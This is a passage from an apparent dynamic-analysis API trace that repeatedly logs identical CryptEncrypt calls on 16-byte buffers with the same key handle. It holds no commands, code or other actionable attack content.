hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.814] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.815] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.816] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.817] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.817] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.817] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.817] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.817] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.817] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.818] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.819] CryptEncrypt 